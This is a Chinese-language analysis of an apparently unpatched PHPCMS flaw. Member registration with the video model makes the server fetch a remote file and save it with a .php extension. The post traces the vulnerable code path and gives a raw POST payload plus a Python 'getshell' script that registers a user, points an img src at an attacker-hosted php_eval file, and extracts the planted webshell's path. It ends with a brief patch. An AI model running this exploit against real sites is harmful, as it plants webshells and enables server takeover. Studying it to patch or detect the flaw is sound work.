phpcms现在还没有命名叫啥漏洞,因为是通过会员注册杀进视频模型的附件下载流程,所以就写PHPCMS 会员任意附件远程下载0day分析了,利用exp如下: dosubmit=1&modelid=11&username=hacker&password=hacker&email=hacker@test.com&info[content]=<img src=http://127.0.0.1/tools/php_eval.txt?.php#.jpg 将上面参数发post请求到 /index.php?m=member&c=index&a=register&siteid=1
首先根据phpcms框架结构找到对应的处理入口文件, 会员入口:/index.php?m=member&c=index&a=register&siteid=1 找到phpcms框架对应的处理文件:\phpcms\phpcms\modules\member\index.php 第33行处理方法:register() 进入处理函数后,需要 设置 dosubmit 为真,走这里的验证流程: 这里可以看到用户名username、密码password、邮箱email是 必须填的(email为何判断了2次? Phpcms的bug?) 单纯这个流程是没有漏洞,漏洞需要结合视频附件处理流程, Phpcms默认安装有四个模型,分别是文章,下载,图片,视频模块,也可以自己创建模型, modelid=11就是视频模型,具体看 \phpcms\caches\caches_commons\caches_data\ model.cache.php 文件便可看到缓存的模型 需要把值设为11,所以上面post的参数变为了 dosubmit=1& modelid=11&username=hacker& password=hacker&email=hacker@test.com 下面有个 //附表信息验证 通过模型获取会员信息,问题就在这里了,获取视频模型的信息, new_html_special_chars转义函数在 \phpcms\libs\functions\global.func.php 的第37行里: 可以看到这里把值或数组的键值转义了,继续看上面流程, $member_input->get($_POST['info']); //模型输入处理 先要看创建的类库 $member_input = new member_input($userinfo['modelid']); //创建模型输入类 找下member_input类在文件 \phpcms\caches\caches_model\caches_data\ member_input.class.php 文件中 在类中找到get方法,这个方法是获取模型数据的 在模型类中fields是一个强大的多维数组、打印出来看下 类中有个 editor 成员函数是做下载用的 断掉调试下,走视频模型时,fields的content[‘formtype’]的值为 editor ,下面代码是检测 当前类中是否存在 $fun()方法,如果存在则 传参执行这个方法 返回给 $value 继续跟 $value = $this->$func($field, $value) 也就是可以触发到成员函数 editor,再回到editor 这里有下载功能,继续找这个下载函数,发现在构造函数中,是一个附件类 附件类文件 \phpcms\phpcms\libs\classes\attacment.class.php 中找到了 download 方法,重点在第二个参数,也就是传入的下载地址 在download 中设置上传目录,然后通过正则取出要下载的url,之后处理数组的过程中会遇到一个 fillurl,补全url的成员函数
Fillurl是支持的下载协议,继续看下面的流程,下面流程取得 附件的扩展名作为生成的文件名,因为下载的可能是 rar、zip或者其他的,这里没有验证php扩展名,而且当在下载url加入?后面的相当于被截断了,但是可以绕过扩展名的判断。 然后需要回显,不然文件下载到服务器了,也不知道文件路径的; 恰巧在插入时会报错显示出路径信息: \phpcms\caches\caches_model\caches_data\member_input.class.php 文件中 $info[$field] = $value; 各种姿势加起来组合出来强大的漏洞! exp 看下面:
#!/usr/bin/env python
#coding:utf-8
import sys,requests,random
def getshell(target):
vuln_url = target + "/index.php?m=member&c=index&a=register&siteid=1"
strstr = str(random.randint(0,999))
data = {
"dosubmit":1,
"modelid":11,
"username":"hacker" + strstr,
"password":"hacker" + strstr,
"email":strstr + "hacker@qq.com",
"info[content]":"<img src=http://*****.com/tools/php_eval.txt?.php#.jpg"
}
try:
response = requests.post(url = vuln_url,data = data,timeout=5)
data_str = response.content
except:
data_str = ""
vul_url = data_str[data_str.find("src=http"):(data_str.find("src=http")+len(target)+67)]
print data_str
if vul_url:
with open("result.txt","a+") as f:
f.write(vul_url+"\n")
print vuln_url+"\n"+vul_url+"\n\n"
else:
print u"no vul"
getshell("http://127.0.0.1/phpcms/")
修复漏洞: 这个是下载官网最新版测试的,貌似到现在还没修复呢,一堆代码逻辑在里头,对于非常熟悉的人,还可能间接找出类似问题,看别人说修复方式可以把uploadfile目录设置为不可执行权限,也可以通过上面的分析找到远程下载附件函数对生成的文件名做下判断再决定是否下载。好人做到底吧。 临时代码修复,等官网出了后,这个就淘汰了; 在附件类文件 \phpcms\phpcms\libs\classes\attacment.class.php 中找到了 download 方法找到下面这行代码 $filename = $this->getname($filename); 在这行代码下面增加2行代码,判断下生成文件的格式:
$file_verify = explode('.', $filename);
if ($file_verify[1] === "php") die('Extension not supported PHP!');